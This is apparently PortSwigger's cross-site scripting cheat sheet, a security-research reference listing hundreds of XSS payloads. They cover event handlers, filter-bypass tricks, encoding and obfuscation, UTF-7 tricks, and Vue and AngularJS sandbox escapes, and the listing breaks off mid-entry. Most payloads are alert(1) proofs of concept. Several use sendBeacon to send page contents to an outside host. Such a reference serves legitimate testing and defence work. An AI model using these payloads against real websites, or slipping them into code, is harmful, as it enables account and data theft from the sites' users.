Cross-site scripting (XSS) cheat sheet
This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.
You can download a PDF version of the XSS cheat sheet.
This is a PortSwigger Research project. Follow us on Twitter to receive updates.
This cheat sheet is regularly updated in 2024. Last updated: Tue, 11 Jun 2024 07:19:21 +0000.
Table of contents
Event handlers
Event handlers that do not require user interaction
Event:
Description:
Tag:
Code:
Copy:
onafterscriptexecute
onanimationcancel
Fires when a CSS animation cancels
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="print()"></xss>
Compatibility:
onanimationend
Fires when a CSS animation ends
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
Compatibility:
onanimationiteration
Fires when a CSS animation repeats
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
Compatibility:
onanimationstart
Fires when a CSS animation starts
<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
Compatibility:
onbeforeprint
onbeforescriptexecute
Fires before script is executed
<xss onbeforescriptexecute=alert(1)><script>1</script>
Compatibility:
onbeforeunload
Fires after if the url changes
<body onbeforeunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
Compatibility:
onbegin
Fires when a svg animation begins
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
Compatibility:
oncanplay
Fires if the resource can be played
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
oncanplaythrough
Fires when enough data has been loaded to play the resource all the way through
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
Compatibility:
oncuechange
ondurationchange
Fires when duration changes
<audio controls ondurationchange=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
Compatibility:
onend
onended
Fires when the resource is finished playing
<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onerror
Fires when the resource fails to load or causes an error
<audio src/onerror=alert(1)>
Compatibility:
onfocus
onfocus(autofocus)
Fires when a element has focus and the autofocus attribute is used to focus automatically.
<xss onfocus=alert(1) autofocus tabindex=1>
Compatibility:
onfocusin
onhashchange
onload
onloadeddata
Fires when the first frame is loaded
<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onloadedmetadata
Fires when the meta data is loaded
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onloadstart
onmessage
Fires when message event is received from a postMessage call
<body onmessage=print()>
Compatibility:
onpageshow
onplay
Fires when the resource is played
<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onplaying
Fires the resource is playing
<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onpopstate
onprogress
Fires when the video/audio begins downloading
<audio controls onprogress=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
Compatibility:
onrepeat
Fires when a svg animation repeats
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
Compatibility:
onresize
onscroll
Fires when the page scrolls
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
Compatibility:
onscrollend
Fires when the scrolling to the end of the element
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
Compatibility:
onsuspend
Fires when the video/audio when the data loading is suspended
<audio controls onsuspend=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
Compatibility:
ontimeupdate
Fires when the timeline is changed
<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
ontoggle
Fires when the details tag is expanded
<details ontoggle=alert(1) open>test</details>
Compatibility:
ontransitioncancel
Fires when a CSS transition cancels
<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>
Compatibility:
ontransitionend
Fires when a CSS transition ends
<xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>
Compatibility:
ontransitionrun
Fires when a CSS transition begins
<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=print()></xss>
Compatibility:
ontransitionstart
Fires when a CSS transition starts
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionstart=alert(1)></xss>
Compatibility:
onunhandledrejection
Fires when a promise isn't handled
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
Compatibility:
onunload
Fires when the page is unloaded
<body onunload=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
Compatibility:
onwebkitanimationend
Fires when a CSS animation ends
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>
Compatibility:
onwebkitanimationiteration
Fires when a CSS animation repeats
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xss>
Compatibility:
onwebkitanimationstart
Fires when a CSS animation starts
<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>
Compatibility:
onwebkitplaybacktargetavailabilitychanged
Fires when the availability of an AirPlay playback target changes
<audio onwebkitplaybacktargetavailabilitychanged=alert(1)>
Compatibility:
onwebkittransitionend
Fires when a CSS transition ends
<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xss>
Compatibility:
Event handlers that do require user interaction
Event:
Description:
Tag:
Code:
Copy:
onafterprint
onauxclick
Fires when right clicking or using the middle button of the mouse
<input onauxclick=alert(1)>
Compatibility:
onbeforecopy
Requires you copy a piece of text
<a onbeforecopy="alert(1)" contenteditable>test</a>
Compatibility:
onbeforecut
onbeforeinput
Fires when the value of the element is about to be modified
<xss contenteditable onbeforeinput=alert(1)>test
Compatibility:
onbeforetoggle
Fires before the a popop element is toggled
<button popovertarget=x>Click me</button><xss onbeforetoggle=alert(1) popover id=x>XSS</xss>
Compatibility:
onblur
Fires when an element loses focus
<xss onblur=alert(1) id=x tabindex=1 style=display:block>test</xss><input value=clickme>
Compatibility:
onchange
onclick
Requires a click of the element
<xss onclick="alert(1)" style=display:block>test</xss>
Compatibility:
onclose
Fires when a dialog is closed
<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>
Compatibility:
oncopy
Requires you copy a piece of text
<xss oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
Compatibility:
oncut
Requires you cut a piece of text
<xss oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
Compatibility:
ondblclick
Triggered when double clicking the element
<xss ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</xss>
Compatibility:
ondrag
Triggered dragging the element
<xss draggable="true" ondrag="alert(1)" style=display:block>test</xss>
Compatibility:
ondragend
Triggered dragging is finished on the element
<xss draggable="true" ondragend="alert(1)" style=display:block>test</xss>
Compatibility:
ondragenter
Requires a mouse drag
<xss draggable="true" ondragenter="alert(1)" style=display:block>test</xss>
Compatibility:
ondragexit
Triggered when dragging the element
<xss draggable="true" ondragexit="alert(1)" style=display:block>test</xss>
Compatibility:
ondragleave
Requires a mouse drag
<xss draggable="true" ondragleave="alert(1)" style=display:block>test</xss>
Compatibility:
ondragover
Triggered dragging over an element
<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable style=display:block>drop here</xss>
Compatibility:
ondragstart
Requires a mouse drag
<xss draggable="true" ondragstart="alert(1)" style=display:block>test</xss>
Compatibility:
ondrop
Triggered dropping a draggable element
<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable style=display:block>drop here</xss>
Compatibility:
onfocusout
Fires when an element loses focus
<xss onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</xss><input value=clickme>
Compatibility:
onformdata
Triggered when a form is submitted
<form onformdata="alert(1)"><button>Click</button></form>
Compatibility:
onfullscreenchange
Fires when a video changes full screen status
<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
Compatibility:
oninput
oninvalid
Requires a form submission with an element that does not satisfy its constraints such as a required attribute.
<form><input oninvalid=alert(1) required><input type=submit>
Compatibility:
onkeydown
Triggered when a key is pressed
<xss onkeydown="alert(1)" contenteditable style=display:block>test</xss>
Compatibility:
onkeypress
Triggered when a key is pressed
<xss onkeypress="alert(1)" contenteditable style=display:block>test</xss>
Compatibility:
onkeyup
Triggered when a key is released
<xss onkeyup="alert(1)" contenteditable style=display:block>test</xss>
Compatibility:
onmousedown
Triggered when the mouse is pressed
<xss onmousedown="alert(1)" style=display:block>test</xss>
Compatibility:
onmouseenter
Triggered when the mouse is hovered over the element
<xss onmouseenter="alert(1)" style=display:block>test</xss>
Compatibility:
onmouseleave
Triggered when the mouse is moved away from the element
<xss onmouseleave="alert(1)" style=display:block>test</xss>
Compatibility:
onmousemove
onmouseout
Triggered when the mouse is moved away from the element
<xss onmouseout="alert(1)" style=display:block>test</xss>
Compatibility:
onmouseover
Requires a hover over the element
<xss onmouseover="alert(1)" style=display:block>test</xss>
Compatibility:
onmouseup
Triggered when the mouse button is released
<xss onmouseup="alert(1)" style=display:block>test</xss>
Compatibility:
onmousewheel
Fires when the mousewheel scrolls
<xss onmousewheel=alert(1) style=display:block>requires scrolling
Compatibility:
onmozfullscreenchange
Fires when a video changes full screen status
<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
Compatibility:
onpagehide
Fires when the page is changed
<body onpagehide=navigator.sendBeacon('//https://ssl.portswigger-labs.net/',document.body.innerHTML)>
Compatibility:
onpaste
onpause
Requires clicking the element to pause
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onpointercancel
You need to make a selection and drag the text using a laptop touchpad.
<xss onpointercancel=alert(1)>XSS</xss>
Compatibility:
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
Fires when the pointer changes
<xss onpointerrawupdate=alert(1) style=display:block>XSS</xss>
Compatibility:
onpointerup
onratechange
Fires when the speed of the video changes
<audio controls autoplay onratechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onreset
onsearch
Fires when a form is submitted and the input has a type attribute of search
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
Compatibility:
onseeked
Requires clicking the element timeline
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onseeking
Requires clicking the element timeline
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onselect
onselectionchange
Fires when text selection is changed on the page
<body onselectionchange=alert(1)>select some text
Compatibility:
onselectstart
onshow
Fires context menu is shown
<div contextmenu=xss><p>Right click<menu type=context id=xss onshow=alert(1)></menu></div>
Compatibility:
onsubmit
ontoggle(popover)
Fires when the a popop element is toggled
<button popovertarget=x>Click me</button><xss ontoggle=alert(1) popover id=x>XSS</xss>
Compatibility:
ontouchend
ontouchmove
ontouchstart
onvolumechange
Requires volume adjustment
<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Compatibility:
onwebkitmouseforcechanged
Requires a click from a laptop touchpad.
<xss onwebkitmouseforcechanged=alert(1)>XSS</xss>
Compatibility:
onwebkitmouseforcedown
Requires a click from a laptop touchpad.
<xss onwebkitmouseforcedown=alert(1)>XSS</xss>
Compatibility:
onwebkitmouseforceup
Requires a click from a laptop touchpad.
<xss onwebkitmouseforceup=alert(1)>XSS</xss>
Compatibility:
onwebkitmouseforcewillbegin
Requires a click from a laptop touchpad.
<xss onwebkitmouseforcewillbegin=alert(1)>XSS</xss>
Compatibility:
onwebkitwillrevealbottom
Requires a click from a laptop touchpad.
<xss onwebkitwillrevealbottom=alert(1)>XSS</xss>
Compatibility:
onwheel
Consuming tags
Noscript consuming tag
<noscript><img title="</noscript><img src onerror=alert(1)>"></noscript>
textarea consuming tag
<textarea><img title="</textarea><img src onerror=alert(1)>"></textarea>
noframes consuming tag
<noframes><img title="</noframes><img src onerror=alert(1)>"></noframes>
File upload attacks
Restricted characters
No parentheses using exception handling no semi colons using expressions
<script>throw onerror=alert,1</script>
No parentheses using exception handling and string eval on Chrome / Edge
<script>throw onerror=eval,'=alert\x281\x29'</script>
No parentheses using exception handling and string eval on Safari
<script>throw onerror=eval,'alert\x281\x29'</script>
No parentheses using exception handling and object eval on Firefox
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
No parentheses using exception handling and object eval on Firefox / Safari
<script>throw onerror=eval,e=new Error,e.message='alert\x281\x29',e</script>
No parentheses using exception handling and location hash eval on all browsers
<script>throw onerror=Uncaught=eval,e=new Error,e.message='/*'+location.hash,!!window.InstallTrigger?e:e.message</script>
No parentheses, no quotes, no spaces using exception handling and location hash eval on all browsers
<script>throw{},onerror=Uncaught=eval,h=location.hash,e={lineNumber:1,columnNumber:1,fileName:0,message:h[2]+h[1]+h},!!window.InstallTrigger?e:e.message</script>
No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers
<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message=h[2]+h[1]+h,!!window.InstallTrigger?e:e.message</script>
No parentheses using ES6 hasInstance and instanceof with eval
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
No parentheses using ES6 hasInstance and instanceof with eval without .
<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
No parentheses using template strings and location hash
<script>new Function`X${document.location.hash.substr`1`}`</script>
No parentheses or spaces, using template strings and location hash
<script>Function`X${document.location.hash.substr`1`}```</script>
Destructuring using default values and onerror
<script>var{haha:onerror=alert}=0;throw 1</script>
Vector using window.name
<script>window.name='javascript:alert(1)';</script><svg onload=location=name>
Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using object literal
<script>window.name='javascript:alert(1)';function blah(){}
blah(""+{a:location=name}+"")</script>
Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using new class
<script>window.name='javascript:alert(1)';function blah(){}
blah(""+new class b{toString=e=>location=name}+"")</script>
Frameworks
Protocols
Characters \x09,\x0a,\x0d are allowed inside the protocol
<a href="javas cript:alert(1)">XSS</a>
Characters \x09,\x0a,\x0d are allowed after protocol name before the colon
<a href="javascript
:alert(1)">XSS</a>
Xlink namespace inside SVG with JavaScript protocol
<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>
SVG animate tag using values
<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>
SVG animate tag using to
<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>
SVG script href attribute without closing script tag
<svg><script href="data:text/javascript,alert(1)" />
SVG use element Chrome/Firefox
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
Base tag with JavaScript protocol rewriting relative URLS
<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
Animate tag with keytimes and multiple values
<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>
Data URL with use element and base64 encoded
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>
Data URL with use element
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
Animate tag with auto executing use element
<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" /><use id=x />
Embed supports code attribute
<embed code=https://portswigger-labs.net width=500 height=500 type=text/html>
Object tag supports param url
<object width=500 height=500 type=text/html><param name=url value=https://portswigger-labs.net>
Object tag supports param code
<object width=500 height=500 type=text/html><param name=code value=https://portswigger-labs.net>
Object tag supports param movie
<object width=500 height=500 type=text/html><param name=movie value=https://portswigger-labs.net>
Object tag supports param src
<object width=500 height=500 type=text/html><param name=src value=https://portswigger-labs.net>
Other useful attributes
Click a submit element from anywhere on the page, even outside the form
<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
Link elements: Access key attributes can enable XSS on normally unexploitable elements
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
Download attribute can save a copy of the current webpage
<a href=# download="filename.html">Test</a>
Disable referrer using referrerpolicy
<img referrerpolicy="no-referrer" src="//portswigger-labs.net">
Set window.name via parameter on the window.open function
<a href=# onclick="window.open('http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//','alert(1)')">XSS</a>
Set window.name via name attribute in a <iframe> tag
<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>
Set window.name via target attribute in a <base> tag
<base target="alert(1)"><a href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>
Set window.name via target attribute in a <a> tag
<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>
Set window.name via usemap attribute in a <img> tag
<img src="validimage.png" width="10" height="10" usemap="#xss"><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>
Set window.name via target attribute in a <form> tag
<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>
Set window.name via formtarget attribute in a <input> tag type submit
<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type submit"></form>
Set window.name via formtarget attribute in a <input> tag type image
<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>
Special tags
Redirect to a different domain
<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">
Meta charset attribute UTF-7
<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
Meta charset UTF-7
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 1
+/v8
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 2
+/v9
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 3
+/v+
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
UTF-7 BOM characters (Has to be at the start of the document) 4
+/v/
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
Upgrade insecure requests
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
Encoding
Octal encoding
<script>eval('\141lert(1)')</script>
<script>eval('alert(\061)')</script>
<script>eval('alert(\61)')</script>
Decimal encoding with optional semi-colon
<a href="javascript:alert(1)">XSS</a><a href="javascript:alert(1)">XSS</a>
SVG script with HTML encoding
<svg><script>alert(1)</script></svg>
<svg><script>alert(1)</script></svg>
<svg><script>alert
(1)</script></svg>
<svg><script>x="",alert(1)//";</script></svg>
Hex encoding without semi-colon provided next character is not a-f0-9
<a href="javascript:alert(1)">XSS</a>
<a href="j
avascript:alert(1)">XSS</a>
<a href="j avascript:alert(1)">XSS</a>
Obfuscation
Data protocol inside script src with base64
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
Data protocol inside script src with base64 and HTML entities
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
Data protocol inside script src with base64 and URL encoding
<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>
Iframe srcdoc HTML encoded
<iframe srcdoc=<script>alert(1)</script>></iframe>
Iframe JavaScript URL with HTML and URL encoding
<iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe>
SVG script with unicode escapes and HTML encoding
<svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script></svg>
Img tag with base64 encoding
<img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`>
Client-side template injection
VueJS reflected
Version:
Author:
Length:
Vector:
Copy:
Version 2
Mario Heiderich (Cure53) & Sebastian Lekies (Google) & Eduardo Vela Nava (Google) & Krzysztof Kotowicz (Google)
62
<div v-html="''.constructor.constructor('alert(1)')()">a</div>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
{{_c.constructor('alert(1)')()}}
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
{{_v.constructor('alert(1)')()}}
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
{{_s.constructor('alert(1)')()}}
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
39
<p v-show="_c.constructor`alert(1)`()">
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
52
<x v-on:click='_b.constructor`alert(1)`()'>click</x>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
41
<x v-bind:a='_b.constructor`alert(1)`()'>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x @[_b.constructor`alert(1)`()]>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x :[_b.constructor`alert(1)`()]>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<p v-=_c.constructor`alert(1)`()>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x #[_c.constructor`alert(1)`()]>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
<p :=_c.constructor`alert(1)`()>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
32
{{_c.constructor('alert(1)')()}}
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
30
{{_b.constructor`alert(1)`()}}
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
40
<x v-bind:is="'script'" src="//14.rs" />
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
27
<x is=script src=//⑭.₨>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
48
<x @click='_b.constructor`alert(1)`()'>click</x>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x @[_b.constructor`alert(1)`()]>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x :[_b.constructor`alert(1)`()]>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
<x #[_c.constructor`alert(1)`()]>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
52
<x title"="<iframe	onload	=alert(1)>">
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
73
<x title"="<iframe	onload	=setTimeout(/alert(1)/.source)>">
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
31
<xyz<img/src onerror=alert(1)>>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
116
<svg><svg><b><noscript></noscript><iframe	onload=setTimeout(/alert(1)/.source)></noscript></b></svg>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
59
<a @['c\lic\u{6b}']="_c.constructor('alert(1)')()">test</a>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
42
{{$el.ownerDocument.defaultView.alert(1)}}
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
56
{{$el.innerHTML='\u003cimg src onerror=alert(1)\u003e'}}
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
45
<img src @error=e=$event.path.pop().alert(1)>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
55
<img src @error=e=$event.composedPath().pop().alert(1)>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
30
<img src @error=this.alert(1)>
Version 2
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
24
<svg@load=this.alert(1)>
Version 2
Davit Karapetyan (Independent consultant)
72
<p slot-scope="){}}])+this.constructor.constructor('alert(1)')()})};//">
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
40
{{_openBlock.constructor('alert(1)')()}}
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
42
{{_createBlock.constructor('alert(1)')()}}
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
46
{{_toDisplayString.constructor('alert(1)')()}}
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
42
{{_createVNode.constructor('alert(1)')()}}
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
47
<p v-show=_createBlock.constructor`alert(1)`()>
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
41
<x @[_openBlock.constructor`alert(1)`()]>
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
42
<x @[_capitalize.constructor`alert(1)`()]>
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
52
<x @click=_withCtx.constructor`alert(1)`()>click</x>
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
40
<x @click=$event.view.alert(1)>click</x>
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
34
{{_Vue.h.constructor`alert(1)`()}}
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
33
{{$emit.constructor`alert(1)`()}}
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
85
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
85
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
Version 3
Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)
35
<component is=script text=alert(1)>
AngularJS sandbox escapes reflected
Version:
Author:
Length:
Vector:
Copy:
1.0.1 - 1.1.5 (shorter)
Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)
33
{{$on.constructor('alert(1)')()}}
1.2.0 - 1.2.1
Jann Horn (Google)
122
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.6 - 1.2.18
Jan Horn (Google)
106
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23
Mathias Karlsson (Detectify)
124
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.3.0
Gábor Molnár (Google)
272
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}
1.3.3 - 1.3.18
Gareth Heyes (PortSwigger)
128
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}
1.3.19
Gareth Heyes (PortSwigger)
102
